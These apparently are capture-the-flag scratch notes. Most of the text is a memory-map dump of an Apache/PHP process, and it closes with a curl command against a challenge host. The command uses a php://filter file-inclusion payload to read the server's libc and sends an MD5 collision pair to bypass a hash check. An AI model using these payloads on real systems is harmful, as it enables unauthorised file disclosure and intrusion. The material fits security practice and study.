7fce62d2f000-7fce62d64000 r-xp 0000c000 00:39 2651256                    /usr/lib/x86_64-linux-gnu/libgssapi_krb5.so.2.2
7fce62d64000-7fce62d71000 r--p 00041000 00:39 2651256                    /usr/lib/x86_64-linux-gnu/libgssapi_krb5.so.2.2
7fce62d71000-7fce62d72000 ---p 0004e000 00:39 2651256                    /usr/lib/x86_64-linux-gnu/libgssapi_krb5.so.2.2
7fce62d72000-7fce62d74000 r--p 0004e000 00:39 2651256                    /usr/lib/x86_64-linux-gnu/libgssapi_krb5.so.2.2
7fce62d74000-7fce62d76000 rw-p 00050000 00:39 2651256                    /usr/lib/x86_64-linux-gnu/libgssapi_krb5.so.2.2
7fce62d76000-7fce62d78000 r--p 00000000 00:39 2752887                    /usr/lib/x86_64-linux-gnu/libpsl.so.5.3.2
7fce62d78000-7fce62d7a000 r-xp 00002000 00:39 2752887                    /usr/lib/x86_64-linux-gnu/libpsl.so.5.3.2
7fce62d7a000-7fce62d88000 r--p 00004000 00:39 2752887                    /usr/lib/x86_64-linux-gnu/libpsl.so.5.3.2
7fce62d88000-7fce62d89000 r--p 00011000 00:39 2752887                    /usr/lib/x86_64-linux-gnu/libpsl.so.5.3.2
7fce62d89000-7fce62d8a000 rw-p 00012000 00:39 2752887                    /usr/lib/x86_64-linux-gnu/libpsl.so.5.3.2
7fce62d8a000-7fce62d8f000 r--p 00000000 00:39 2752903                    /usr/lib/x86_64-linux-gnu/libssh2.so.1.0.1
7fce62d8f000-7fce62db1000 r-xp 00005000 00:39 2752903                    /usr/lib/x86_64-linux-gnu/libssh2.so.1.0.1
7fce62db1000-7fce62dbc000 r--p 00027000 00:39 2752903                    /usr/lib/x86_64-linux-gnu/libssh2.so.1.0.1
7fce62dbc000-7fce62dbd000 ---p 00032000 00:39 2752903                    /usr/lib/x86_64-linux-gnu/libssh2.so.1.0.1
7fce62dbd000-7fce62dbe000 r--p 00032000 00:39 2752903                    /usr/lib/x86_64-linux-gnu/libssh2.so.1.0.1
7fce62dbe000-7fce62dbf000 rw-p 00033000 00:39 2752903                    /usr/lib/x86_64-linux-gnu/libssh2.so.1.0.1
7fce62dbf000-7fce62dc4000 r--p 00000000 00:39 2752897                    /usr/lib/x86_64-linux-gnu/librtmp.so.1
7fce62dc4000-7fce62dd4000 r-xp 00005000 00:39 2752897                    /usr/lib/x86_64-linux-gnu/librtmp.so.1
7fce62dd4000-7fce62ddb000 r--p 00015000 00:39 2752897                    /usr/lib/x86_64-linux-gnu/librtmp.so.1
7fce62ddb000-7fce62ddc000 ---p 0001c000 00:39 2752897                    /usr/lib/x86_64-linux-gnu/librtmp.so.1
7fce62ddc000-7fce62ddd000 r--p 0001c000 00:39 2752897                    /usr/lib/x86_64-linux-gnu/librtmp.so.1
7fce62ddd000-7fce62dde000 rw-p 0001d000 00:39 2752897                    /usr/lib/x86_64-linux-gnu/librtmp.so.1
7fce62dde000-7fce62de0000 r--p 00000000 00:39 2651260                    /usr/lib/x86_64-linux-gnu/libidn2.so.0.3.7
7fce62de0000-7fce62de4000 r-xp 00002000 00:39 2651260                    /usr/lib/x86_64-linux-gnu/libidn2.so.0.3.7
7fce62de4000-7fce62dfd000 r--p 00006000 00:39 2651260                    /usr/lib/x86_64-linux-gnu/libidn2.so.0.3.7
7fce62dfd000-7fce62dfe000 r--p 0001e000 00:39 2651260                    /usr/lib/x86_64-linux-gnu/libidn2.so.0.3.7
7fce62dfe000-7fce62dff000 rw-p 0001f000 00:39 2651260                    /usr/lib/x86_64-linux-gnu/libidn2.so.0.3.7
7fce62dff000-7fce62e04000 r--p 00000000 00:39 2752876                    /usr/lib/x86_64-linux-gnu/libnghttp2.so.14.20.1
7fce62e04000-7fce62e1a000 r-xp 00005000 00:39 2752876                    /usr/lib/x86_64-linux-gnu/libnghttp2.so.14.20.1
7fce62e1a000-7fce62e28000 r--p 0001b000 00:39 2752876                    /usr/lib/x86_64-linux-gnu/libnghttp2.so.14.20.1
7fce62e28000-7fce62e2b000 r--p 00028000 00:39 2752876                    /usr/lib/x86_64-linux-gnu/libnghttp2.so.14.20.1
7fce62e2b000-7fce62e2c000 rw-p 0002b000 00:39 2752876                    /usr/lib/x86_64-linux-gnu/libnghttp2.so.14.20.1
7fce62e2c000-7fce62e2f000 r--p 00000000 00:39 2650532                    /lib/x86_64-linux-gnu/liblzma.so.5.2.5
7fce62e2f000-7fce62e47000 r-xp 00003000 00:39 2650532                    /lib/x86_64-linux-gnu/liblzma.so.5.2.5
7fce62e47000-7fce62e52000 r--p 0001b000 00:39 2650532                    /lib/x86_64-linux-gnu/liblzma.so.5.2.5
7fce62e52000-7fce62e53000 r--p 00025000 00:39 2650532                    /lib/x86_64-linux-gnu/liblzma.so.5.2.5
7fce62e53000-7fce62e54000 rw-p 00026000 00:39 2650532                    /lib/x86_64-linux-gnu/liblzma.so.5.2.5
7fce62e54000-7fce62eba000 r--p 00000000 00:39 2658363                    /usr/lib/x86_64-linux-gnu/libicuuc.so.67.1
7fce62eba000-7fce62fa0000 r-xp 00066000 00:39 2658363                    /usr/lib/x86_64-linux-gnu/libicuuc.so.67.1
7fce62fa0000-7fce63027000 r--p 0014c000 00:39 2658363                    /usr/lib/x86_64-linux-gnu/libicuuc.so.67.1
7fce63027000-7fce63028000 ---p 001d3000 00:39 2658363                    /usr/lib/x86_64-linux-gnu/libicuuc.so.67.1
7fce63028000-7fce6303a000 r--p 001d3000 00:39 2658363                    /usr/lib/x86_64-linux-gnu/libicuuc.so.67.1
7fce6303a000-7fce6303b000 rw-p 001e5000 00:39 2658363                    /usr/lib/x86_64-linux-gnu/libicuuc.so.67.1
7fce6303b000-7fce6303d000 rw-p 00000000 00:00 0
7fce6303d000-7fce6304b000 r--p 00000000 00:39 2650570                    /lib/x86_64-linux-gnu/libtinfo.so.6.2
7fce6304b000-7fce63059000 r-xp 0000e000 00:39 2650570                    /lib/x86_64-linux-gnu/libtinfo.so.6.2
7fce63059000-7fce63067000 r--p 0001c000 00:39 2650570                    /lib/x86_64-linux-gnu/libtinfo.so.6.2
7fce63067000-7fce6306b000 r--p 00029000 00:39 2650570                    /lib/x86_64-linux-gnu/libtinfo.so.6.2
7fce6306b000-7fce6306c000 rw-p 0002d000 00:39 2650570                    /lib/x86_64-linux-gnu/libtinfo.so.6.2
7fce6306c000-7fce6307b000 r--p 00000000 00:39 2752832                    /usr/lib/x86_64-linux-gnu/libcurl.so.4.7.0
7fce6307b000-7fce630e3000 r-xp 0000f000 00:39 2752832                    /usr/lib/x86_64-linux-gnu/libcurl.so.4.7.0
7fce630e3000-7fce63100000 r--p 00077000 00:39 2752832                    /usr/lib/x86_64-linux-gnu/libcurl.so.4.7.0
7fce63100000-7fce63104000 r--p 00093000 00:39 2752832                    /usr/lib/x86_64-linux-gnu/libcurl.so.4.7.0
7fce63104000-7fce63106000 rw-p 00097000 00:39 2752832                    /usr/lib/x86_64-linux-gnu/libcurl.so.4.7.0
7fce63106000-7fce63107000 rw-p 00000000 00:00 0
7fce63107000-7fce63135000 r--p 00000000 00:39 2658381                    /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.10
7fce63135000-7fce63251000 r-xp 0002e000 00:39 2658381                    /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.10
7fce63251000-7fce632a9000 r--p 0014a000 00:39 2658381                    /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.10
7fce632a9000-7fce632b2000 r--p 001a1000 00:39 2658381                    /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.10
7fce632b2000-7fce632b3000 rw-p 001aa000 00:39 2658381                    /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.10
7fce632b3000-7fce632b5000 rw-p 00000000 00:00 0
7fce632b5000-7fce632c5000 r--p 00000000 00:39 2658379                    /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7fce632c5000-7fce633bd000 r-xp 00010000 00:39 2658379                    /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7fce633bd000-7fce633f1000 r--p 00108000 00:39 2658379                    /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7fce633f1000-7fce633f5000 r--p 0013b000 00:39 2658379                    /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7fce633f5000-7fce633f8000 rw-p 0013f000 00:39 2658379                    /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7fce633f8000-7fce6340e000 r--p 00000000 00:39 2659058                    /lib/x86_64-linux-gnu/libreadline.so.8.1
7fce6340e000-7fce6343a000 r-xp 00016000 00:39 2659058                    /lib/x86_64-linux-gnu/libreadline.so.8.1
7fce6343a000-7fce63444000 r--p 00042000 00:39 2659058                    /lib/x86_64-linux-gnu/libreadline.so.8.1
7fce63444000-7fce63445000 ---p 0004c000 00:39 2659058                    /lib/x86_64-linux-gnu/libreadline.so.8.1
7fce63445000-7fce63447000 r--p 0004c000 00:39 2659058                    /lib/x86_64-linux-gnu/libreadline.so.8.1
7fce63447000-7fce6344e000 rw-p 0004e000 00:39 2659058                    /lib/x86_64-linux-gnu/libreadline.so.8.1
7fce6344e000-7fce6344f000 rw-p 00000000 00:00 0
7fce6344f000-7fce63453000 r--p 00000000 00:39 2650559                    /lib/x86_64-linux-gnu/libresolv-2.31.so
7fce63453000-7fce63461000 r-xp 00004000 00:39 2650559                    /lib/x86_64-linux-gnu/libresolv-2.31.so
7fce63461000-7fce63464000 r--p 00012000 00:39 2650559                    /lib/x86_64-linux-gnu/libresolv-2.31.so
7fce63464000-7fce63465000 ---p 00015000 00:39 2650559                    /lib/x86_64-linux-gnu/libresolv-2.31.so
7fce63465000-7fce63466000 r--p 00015000 00:39 2650559                    /lib/x86_64-linux-gnu/libresolv-2.31.so
7fce63466000-7fce63467000 rw-p 00016000 00:39 2650559                    /lib/x86_64-linux-gnu/libresolv-2.31.so
7fce63467000-7fce63469000 rw-p 00000000 00:00 0
7fce63469000-7fce6346a000 r--p 00000000 00:39 2659074                    /usr/lib/x86_64-linux-gnu/libargon2.so.1
7fce6346a000-7fce6346f000 r-xp 00001000 00:39 2659074                    /usr/lib/x86_64-linux-gnu/libargon2.so.1
7fce6346f000-7fce63471000 r--p 00006000 00:39 2659074                    /usr/lib/x86_64-linux-gnu/libargon2.so.1
7fce63471000-7fce63472000 r--p 00007000 00:39 2659074                    /usr/lib/x86_64-linux-gnu/libargon2.so.1
7fce63472000-7fce63473000 rw-p 00008000 00:39 2659074                    /usr/lib/x86_64-linux-gnu/libargon2.so.1
7fce63473000-7fce63475000 r--p 00000000 00:39 2658278                    /usr/lib/apache2/modules/mod_negotiation.so
7fce63475000-7fce6347a000 r-xp 00002000 00:39 2658278                    /usr/lib/apache2/modules/mod_negotiation.so
7fce6347a000-7fce6347b000 r--p 00007000 00:39 2658278                    /usr/lib/apache2/modules/mod_negotiation.so
7fce6347b000-7fce6347c000 ---p 00008000 00:39 2658278                    /usr/lib/apache2/modules/mod_negotiation.so
7fce6347c000-7fce6347d000 r--p 00008000 00:39 2658278                    /usr/lib/apache2/modules/mod_negotiation.so
7fce6347d000-7fce6347e000 rw-p 00009000 00:39 2658278                    /usr/lib/apache2/modules/mod_negotiation.so
7fce6347e000-7fce63480000 rw-p 00000000 00:00 0
7fce63481000-7fce63484000 r--p 00000000 00:39 2658276                    /usr/lib/apache2/modules/mod_mpm_prefork.so
7fce63484000-7fce63487000 r-xp 00003000 00:39 2658276                    /usr/lib/apache2/modules/mod_mpm_prefork.so
7fce63487000-7fce63489000 r--p 00006000 00:39 2658276                    /usr/lib/apache2/modules/mod_mpm_prefork.so
7fce63489000-7fce6348a000 r--p 00007000 00:39 2658276                    /usr/lib/apache2/modules/mod_mpm_prefork.so
7fce6348a000-7fce6348b000 rw-p 00008000 00:39 2658276                    /usr/lib/apache2/modules/mod_mpm_prefork.so
7fce6348b000-7fce6348d000 rw-p 00000000 00:00 0
7fce6348d000-7fce6348f000 rw-p 00000000 00:00 0
7fce6348f000-7fce63491000 r--p 00000000 00:39 2658273                    /usr/lib/apache2/modules/mod_mime.so
7fce63491000-7fce63493000 r-xp 00002000 00:39 2658273                    /usr/lib/apache2/modules/mod_mime.so
7fce63493000-7fce63494000 r--p 00004000 00:39 2658273                    /usr/lib/apache2/modules/mod_mime.so
7fce63494000-7fce63495000 ---p 00005000 00:39 2658273                    /usr/lib/apache2/modules/mod_mime.so
7fce63495000-7fce63496000 r--p 00005000 00:39 2658273                    /usr/lib/apache2/modules/mod_mime.so
7fce63496000-7fce63497000 rw-p 00006000 00:39 2658273                    /usr/lib/apache2/modules/mod_mime.so
7fce63497000-7fce6349b000 rw-p 00000000 00:00 0
7fce6349b000-7fce6349d000 rw-p 00000000 00:00 0
7fce6349d000-7fce6349e000 r--p 00000000 00:39 2658254                    /usr/lib/apache2/modules/mod_filter.so
7fce6349e000-7fce634a0000 r-xp 00001000 00:39 2658254                    /usr/lib/apache2/modules/mod_filter.so
7fce634a0000-7fce634a1000 r--p 00003000 00:39 2658254                    /usr/lib/apache2/modules/mod_filter.so
7fce634a1000-7fce634a2000 r--p 00003000 00:39 2658254                    /usr/lib/apache2/modules/mod_filter.so
7fce634a2000-7fce634a3000 rw-p 00004000 00:39 2658254                    /usr/lib/apache2/modules/mod_filter.so
7fce634a3000-7fce634a5000 rw-p 00000000 00:00 0
7fce634a6000-7fce634a7000 r--p 00000000 00:39 2658250                    /usr/lib/apache2/modules/mod_env.so
7fce634a7000-7fce634a8000 r-xp 00001000 00:39 2658250                    /usr/lib/apache2/modules/mod_env.so
7fce634a8000-7fce634a9000 r--p 00002000 00:39 2658250                    /usr/lib/apache2/modules/mod_env.so
7fce634a9000-7fce634aa000 r--p 00002000 00:39 2658250                    /usr/lib/apache2/modules/mod_env.so
7fce634aa000-7fce634ab000 rw-p 00003000 00:39 2658250                    /usr/lib/apache2/modules/mod_env.so
7fce634ab000-7fce634ad000 rw-p 00000000 00:00 0
7fce634ae000-7fce634af000 r--p 00000000 00:39 2658247                    /usr/lib/apache2/modules/mod_dir.so
7fce634af000-7fce634b0000 r-xp 00001000 00:39 2658247                    /usr/lib/apache2/modules/mod_dir.so
7fce634b0000-7fce634b1000 r--p 00002000 00:39 2658247                    /usr/lib/apache2/modules/mod_dir.so
7fce634b1000-7fce634b2000 r--p 00002000 00:39 2658247                    /usr/lib/apache2/modules/mod_dir.so
7fce634b2000-7fce634b3000 rw-p 00003000 00:39 2658247                    /usr/lib/apache2/modules/mod_dir.so
7fce634b3000-7fce634b6000 r--p 00000000 00:39 2650576                    /lib/x86_64-linux-gnu/libz.so.1.2.11
7fce634b6000-7fce634c7000 r-xp 00003000 00:39 2650576                    /lib/x86_64-linux-gnu/libz.so.1.2.11
7fce634c7000-7fce634cd000 r--p 00014000 00:39 2650576                    /lib/x86_64-linux-gnu/libz.so.1.2.11
7fce634cd000-7fce634ce000 ---p 0001a000 00:39 2650576                    /lib/x86_64-linux-gnu/libz.so.1.2.11
7fce634ce000-7fce634cf000 r--p 0001a000 00:39 2650576                    /lib/x86_64-linux-gnu/libz.so.1.2.11
7fce634cf000-7fce634d0000 rw-p 0001b000 00:39 2650576                    /lib/x86_64-linux-gnu/libz.so.1.2.11
7fce634d0000-7fce634d4000 rw-p 00000000 00:00 0
7fce634d4000-7fce634d8000 rw-p 00000000 00:00 0
7fce634d8000-7fce634da000 r--p 00000000 00:39 2658245                    /usr/lib/apache2/modules/mod_deflate.so
7fce634da000-7fce634df000 r-xp 00002000 00:39 2658245                    /usr/lib/apache2/modules/mod_deflate.so
7fce634df000-7fce634e1000 r--p 00007000 00:39 2658245                    /usr/lib/apache2/modules/mod_deflate.so
7fce634e1000-7fce634e2000 r--p 00008000 00:39 2658245                    /usr/lib/apache2/modules/mod_deflate.so
7fce634e2000-7fce634e3000 rw-p 00009000 00:39 2658245                    /usr/lib/apache2/modules/mod_deflate.so
7fce634e3000-7fce634e5000 rw-p 00000000 00:00 0
7fce634e5000-7fce634e7000 r--p 00000000 00:39 2658227                    /usr/lib/apache2/modules/mod_autoindex.so
7fce634e7000-7fce634ec000 r-xp 00002000 00:39 2658227                    /usr/lib/apache2/modules/mod_autoindex.so
7fce634ec000-7fce634ee000 r--p 00007000 00:39 2658227                    /usr/lib/apache2/modules/mod_autoindex.so
7fce634ee000-7fce634ef000 r--p 00008000 00:39 2658227                    /usr/lib/apache2/modules/mod_autoindex.so
7fce634ef000-7fce634f0000 rw-p 00009000 00:39 2658227                    /usr/lib/apache2/modules/mod_autoindex.so
7fce634f0000-7fce634f2000 rw-p 00000000 00:00 0
7fce634f2000-7fce634f3000 r--p 00000000 00:39 2658226                    /usr/lib/apache2/modules/mod_authz_user.so
7fce634f3000-7fce634f4000 r-xp 00001000 00:39 2658226                    /usr/lib/apache2/modules/mod_authz_user.so
7fce634f4000-7fce634f5000 r--p 00002000 00:39 2658226                    /usr/lib/apache2/modules/mod_authz_user.so
7fce634f5000-7fce634f6000 r--p 00002000 00:39 2658226                    /usr/lib/apache2/modules/mod_authz_user.so
7fce634f6000-7fce634f7000 rw-p 00003000 00:39 2658226                    /usr/lib/apache2/modules/mod_authz_user.so
7fce634f7000-7fce634f9000 rw-p 00000000 00:00 0
7fce634f9000-7fce634fa000 r--p 00000000 00:39 2658224                    /usr/lib/apache2/modules/mod_authz_host.so
7fce634fa000-7fce634fb000 r-xp 00001000 00:39 2658224                    /usr/lib/apache2/modules/mod_authz_host.so
7fce634fb000-7fce634fc000 r--p 00002000 00:39 2658224                    /usr/lib/apache2/modules/mod_authz_host.so
7fce634fc000-7fce634fd000 r--p 00002000 00:39 2658224                    /usr/lib/apache2/modules/mod_authz_host.so
7fce634fd000-7fce634fe000 rw-p 00003000 00:39 2658224                    /usr/lib/apache2/modules/mod_authz_host.so
7fce634fe000-7fce63500000 rw-p 00000000 00:00 0
7fce63500000-7fce63502000 r--p 00000000 00:39 2658220                    /usr/lib/apache2/modules/mod_authz_core.so
7fce63502000-7fce63504000 r-xp 00002000 00:39 2658220                    /usr/lib/apache2/modules/mod_authz_core.so
7fce63504000-7fce63506000 r--p 00004000 00:39 2658220                    /usr/lib/apache2/modules/mod_authz_core.so
7fce63506000-7fce63507000 r--p 00005000 00:39 2658220                    /usr/lib/apache2/modules/mod_authz_core.so
7fce63507000-7fce63508000 rw-p 00006000 00:39 2658220                    /usr/lib/apache2/modules/mod_authz_core.so
7fce63508000-7fce6350a000 rw-p 00000000 00:00 0
7fce6350a000-7fce6350b000 r--p 00000000 00:39 2658216                    /usr/lib/apache2/modules/mod_authn_file.so
7fce6350b000-7fce6350c000 r-xp 00001000 00:39 2658216                    /usr/lib/apache2/modules/mod_authn_file.so
7fce6350c000-7fce6350d000 r--p 00002000 00:39 2658216                    /usr/lib/apache2/modules/mod_authn_file.so
7fce6350d000-7fce6350e000 r--p 00002000 00:39 2658216                    /usr/lib/apache2/modules/mod_authn_file.so
7fce6350e000-7fce6350f000 rw-p 00003000 00:39 2658216                    /usr/lib/apache2/modules/mod_authn_file.so
7fce6350f000-7fce63511000 rw-p 00000000 00:00 0
7fce63511000-7fce63512000 r--p 00000000 00:39 2658213                    /usr/lib/apache2/modules/mod_authn_core.so
7fce63512000-7fce63513000 r-xp 00001000 00:39 2658213                    /usr/lib/apache2/modules/mod_authn_core.so
7fce63513000-7fce63514000 r--p 00002000 00:39 2658213                    /usr/lib/apache2/modules/mod_authn_core.so
7fce63514000-7fce63515000 r--p 00002000 00:39 2658213                    /usr/lib/apache2/modules/mod_authn_core.so
7fce63515000-7fce63516000 rw-p 00003000 00:39 2658213                    /usr/lib/apache2/modules/mod_authn_core.so
7fce63516000-7fce63518000 rw-p 00000000 00:00 0
7fce63518000-7fce63519000 r--p 00000000 00:39 2658209                    /usr/lib/apache2/modules/mod_auth_basic.so
7fce63519000-7fce6351b000 r-xp 00001000 00:39 2658209                    /usr/lib/apache2/modules/mod_auth_basic.so
7fce6351b000-7fce6351c000 r--p 00003000 00:39 2658209                    /usr/lib/apache2/modules/mod_auth_basic.so
7fce6351c000-7fce6351d000 r--p 00003000 00:39 2658209                    /usr/lib/apache2/modules/mod_auth_basic.so
7fce6351d000-7fce6351e000 rw-p 00004000 00:39 2658209                    /usr/lib/apache2/modules/mod_auth_basic.so
7fce6351e000-7fce63520000 rw-p 00000000 00:00 0
7fce63520000-7fce63521000 r--p 00000000 00:39 2658206                    /usr/lib/apache2/modules/mod_alias.so
7fce63521000-7fce63523000 r-xp 00001000 00:39 2658206                    /usr/lib/apache2/modules/mod_alias.so
7fce63523000-7fce63524000 r--p 00003000 00:39 2658206                    /usr/lib/apache2/modules/mod_alias.so
7fce63524000-7fce63525000 r--p 00003000 00:39 2658206                    /usr/lib/apache2/modules/mod_alias.so
7fce63525000-7fce63526000 rw-p 00004000 00:39 2658206                    /usr/lib/apache2/modules/mod_alias.so
7fce63526000-7fce63528000 rw-p 00000000 00:00 0
7fce63528000-7fce63529000 r--p 00000000 00:39 2658204                    /usr/lib/apache2/modules/mod_access_compat.so
7fce63529000-7fce6352a000 r-xp 00001000 00:39 2658204                    /usr/lib/apache2/modules/mod_access_compat.so
7fce6352a000-7fce6352b000 r--p 00002000 00:39 2658204                    /usr/lib/apache2/modules/mod_access_compat.so
7fce6352b000-7fce6352c000 r--p 00002000 00:39 2658204                    /usr/lib/apache2/modules/mod_access_compat.so
7fce6352c000-7fce6352d000 rw-p 00003000 00:39 2658204                    /usr/lib/apache2/modules/mod_access_compat.so
7fce6352d000-7fce63569000 rw-p 00000000 00:00 0
7fce63569000-7fce6356a000 r--p 00000000 00:39 2650520                    /lib/x86_64-linux-gnu/libdl-2.31.so
7fce6356a000-7fce6356c000 r-xp 00001000 00:39 2650520                    /lib/x86_64-linux-gnu/libdl-2.31.so
7fce6356c000-7fce6356d000 r--p 00003000 00:39 2650520                    /lib/x86_64-linux-gnu/libdl-2.31.so
7fce6356d000-7fce6356e000 r--p 00003000 00:39 2650520                    /lib/x86_64-linux-gnu/libdl-2.31.so
7fce6356e000-7fce6356f000 rw-p 00004000 00:39 2650520                    /lib/x86_64-linux-gnu/libdl-2.31.so
7fce6356f000-7fce63571000 r--p 00000000 00:39 2651300                    /usr/lib/x86_64-linux-gnu/libuuid.so.1.3.0
7fce63571000-7fce63575000 r-xp 00002000 00:39 2651300                    /usr/lib/x86_64-linux-gnu/libuuid.so.1.3.0
7fce63575000-7fce63576000 r--p 00006000 00:39 2651300                    /usr/lib/x86_64-linux-gnu/libuuid.so.1.3.0
7fce63576000-7fce63577000 r--p 00006000 00:39 2651300                    /usr/lib/x86_64-linux-gnu/libuuid.so.1.3.0
7fce63577000-7fce63578000 rw-p 00007000 00:39 2651300                    /usr/lib/x86_64-linux-gnu/libuuid.so.1.3.0
7fce63578000-7fce6357c000 r--p 00000000 00:39 2658154                    /lib/x86_64-linux-gnu/libexpat.so.1.6.12
7fce6357c000-7fce63599000 r-xp 00004000 00:39 2658154                    /lib/x86_64-linux-gnu/libexpat.so.1.6.12
7fce63599000-7fce635a3000 r--p 00021000 00:39 2658154                    /lib/x86_64-linux-gnu/libexpat.so.1.6.12
7fce635a3000-7fce635a4000 ---p 0002b000 00:39 2658154                    /lib/x86_64-linux-gnu/libexpat.so.1.6.12
7fce635a4000-7fce635a6000 r--p 0002b000 00:39 2658154                    /lib/x86_64-linux-gnu/libexpat.so.1.6.12
7fce635a6000-7fce635a7000 rw-p 0002d000 00:39 2658154                    /lib/x86_64-linux-gnu/libexpat.so.1.6.12
7fce635a7000-7fce635a9000 rw-p 00000000 00:00 0
7fce635a9000-7fce635ab000 r--p 00000000 00:39 2650519                    /lib/x86_64-linux-gnu/libcrypt.so.1.1.0
7fce635ab000-7fce635c0000 r-xp 00002000 00:39 2650519                    /lib/x86_64-linux-gnu/libcrypt.so.1.1.0
7fce635c0000-7fce635da000 r--p 00017000 00:39 2650519                    /lib/x86_64-linux-gnu/libcrypt.so.1.1.0
7fce635da000-7fce635db000 r--p 00030000 00:39 2650519                    /lib/x86_64-linux-gnu/libcrypt.so.1.1.0
7fce635db000-7fce635dc000 rw-p 00031000 00:39 2650519                    /lib/x86_64-linux-gnu/libcrypt.so.1.1.0
7fce635dc000-7fce635e4000 rw-p 00000000 00:00 0
7fce635e4000-7fce63609000 r--p 00000000 00:39 2650512                    /lib/x86_64-linux-gnu/libc-2.31.so
7fce63609000-7fce63754000 r-xp 00025000 00:39 2650512                    /lib/x86_64-linux-gnu/libc-2.31.so
7fce63754000-7fce6379e000 r--p 00170000 00:39 2650512                    /lib/x86_64-linux-gnu/libc-2.31.so
7fce6379e000-7fce6379f000 ---p 001ba000 00:39 2650512                    /lib/x86_64-linux-gnu/libc-2.31.so
7fce6379f000-7fce637a2000 r--p 001ba000 00:39 2650512                    /lib/x86_64-linux-gnu/libc-2.31.so
7fce637a2000-7fce637a5000 rw-p 001bd000 00:39 2650512                    /lib/x86_64-linux-gnu/libc-2.31.so
7fce637a5000-7fce637a9000 rw-p 00000000 00:00 0
7fce637a9000-7fce637b0000 r--p 00000000 00:39 2650557                    /lib/x86_64-linux-gnu/libpthread-2.31.so
7fce637b0000-7fce637c0000 r-xp 00007000 00:39 2650557                    /lib/x86_64-linux-gnu/libpthread-2.31.so
7fce637c0000-7fce637c5000 r--p 00017000 00:39 2650557                    /lib/x86_64-linux-gnu/libpthread-2.31.so
7fce637c5000-7fce637c6000 r--p 0001b000 00:39 2650557                    /lib/x86_64-linux-gnu/libpthread-2.31.so
7fce637c6000-7fce637c7000 rw-p 0001c000 00:39 2650557                    /lib/x86_64-linux-gnu/libpthread-2.31.so
7fce637c7000-7fce637cb000 rw-p 00000000 00:00 0
7fce637cb000-7fce637d8000 r--p 00000000 00:39 2658343                    /usr/lib/x86_64-linux-gnu/libapr-1.so.0.7.0
7fce637d8000-7fce637fa000 r-xp 0000d000 00:39 2658343                    /usr/lib/x86_64-linux-gnu/libapr-1.so.0.7.0
7fce637fa000-7fce63805000 r--p 0002f000 00:39 2658343                    /usr/lib/x86_64-linux-gnu/libapr-1.so.0.7.0
7fce63805000-7fce63806000 ---p 0003a000 00:39 2658343                    /usr/lib/x86_64-linux-gnu/libapr-1.so.0.7.0
7fce63806000-7fce63807000 r--p 0003a000 00:39 2658343                    /usr/lib/x86_64-linux-gnu/libapr-1.so.0.7.0
7fce63807000-7fce63808000 rw-p 0003b000 00:39 2658343                    /usr/lib/x86_64-linux-gnu/libapr-1.so.0.7.0
7fce63808000-7fce63811000 r--p 00000000 00:39 2658345                    /usr/lib/x86_64-linux-gnu/libaprutil-1.so.0.6.1
7fce63811000-7fce6382b000 r-xp 00009000 00:39 2658345                    /usr/lib/x86_64-linux-gnu/libaprutil-1.so.0.6.1
7fce6382b000-7fce63834000 r--p 00023000 00:39 2658345                    /usr/lib/x86_64-linux-gnu/libaprutil-1.so.0.6.1
7fce63834000-7fce63835000 r--p 0002b000 00:39 2658345                    /usr/lib/x86_64-linux-gnu/libaprutil-1.so.0.6.1
7fce63835000-7fce63836000 rw-p 0002c000 00:39 2658345                    /usr/lib/x86_64-linux-gnu/libaprutil-1.so.0.6.1
7fce63836000-7fce63838000 r--p 00000000 00:39 2650556                    /lib/x86_64-linux-gnu/libpcre.so.3.13.3
7fce63838000-7fce63889000 r-xp 00002000 00:39 2650556                    /lib/x86_64-linux-gnu/libpcre.so.3.13.3
7fce63889000-7fce638a7000 r--p 00053000 00:39 2650556                    /lib/x86_64-linux-gnu/libpcre.so.3.13.3
7fce638a7000-7fce638a8000 r--p 00070000 00:39 2650556                    /lib/x86_64-linux-gnu/libpcre.so.3.13.3
7fce638a8000-7fce638a9000 rw-p 00071000 00:39 2650556                    /lib/x86_64-linux-gnu/libpcre.so.3.13.3
7fce638a9000-7fce638ad000 rw-p 00000000 00:00 0
7fce638ad000-7fce638af000 rw-p 00000000 00:00 0
7fce638af000-7fce638b0000 r--p 00000000 00:39 2650500                    /lib/x86_64-linux-gnu/ld-2.31.so
7fce638b0000-7fce638d0000 r-xp 00001000 00:39 2650500                    /lib/x86_64-linux-gnu/ld-2.31.so
7fce638d0000-7fce638d8000 r--p 00021000 00:39 2650500                    /lib/x86_64-linux-gnu/ld-2.31.so
7fce638d9000-7fce638da000 r--p 00029000 00:39 2650500                    /lib/x86_64-linux-gnu/ld-2.31.so
7fce638da000-7fce638db000 rw-p 0002a000 00:39 2650500                    /lib/x86_64-linux-gnu/ld-2.31.so
7fce638db000-7fce638dc000 rw-p 00000000 00:00 0
7ffc163ff000-7ffc16420000 rw-p 00000000 00:00 0                          [stack]
7ffc1656a000-7ffc1656e000 r--p 00000000 00:00 0                          [vvar]
7ffc1656e000-7ffc16570000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]

#/lib/x86_64-linux-gnu/libc-2.31.so........here
curl -X POST http://node1.anna.nssctf.cn:28468/?file=php://filter/read=convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so -d "a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2"
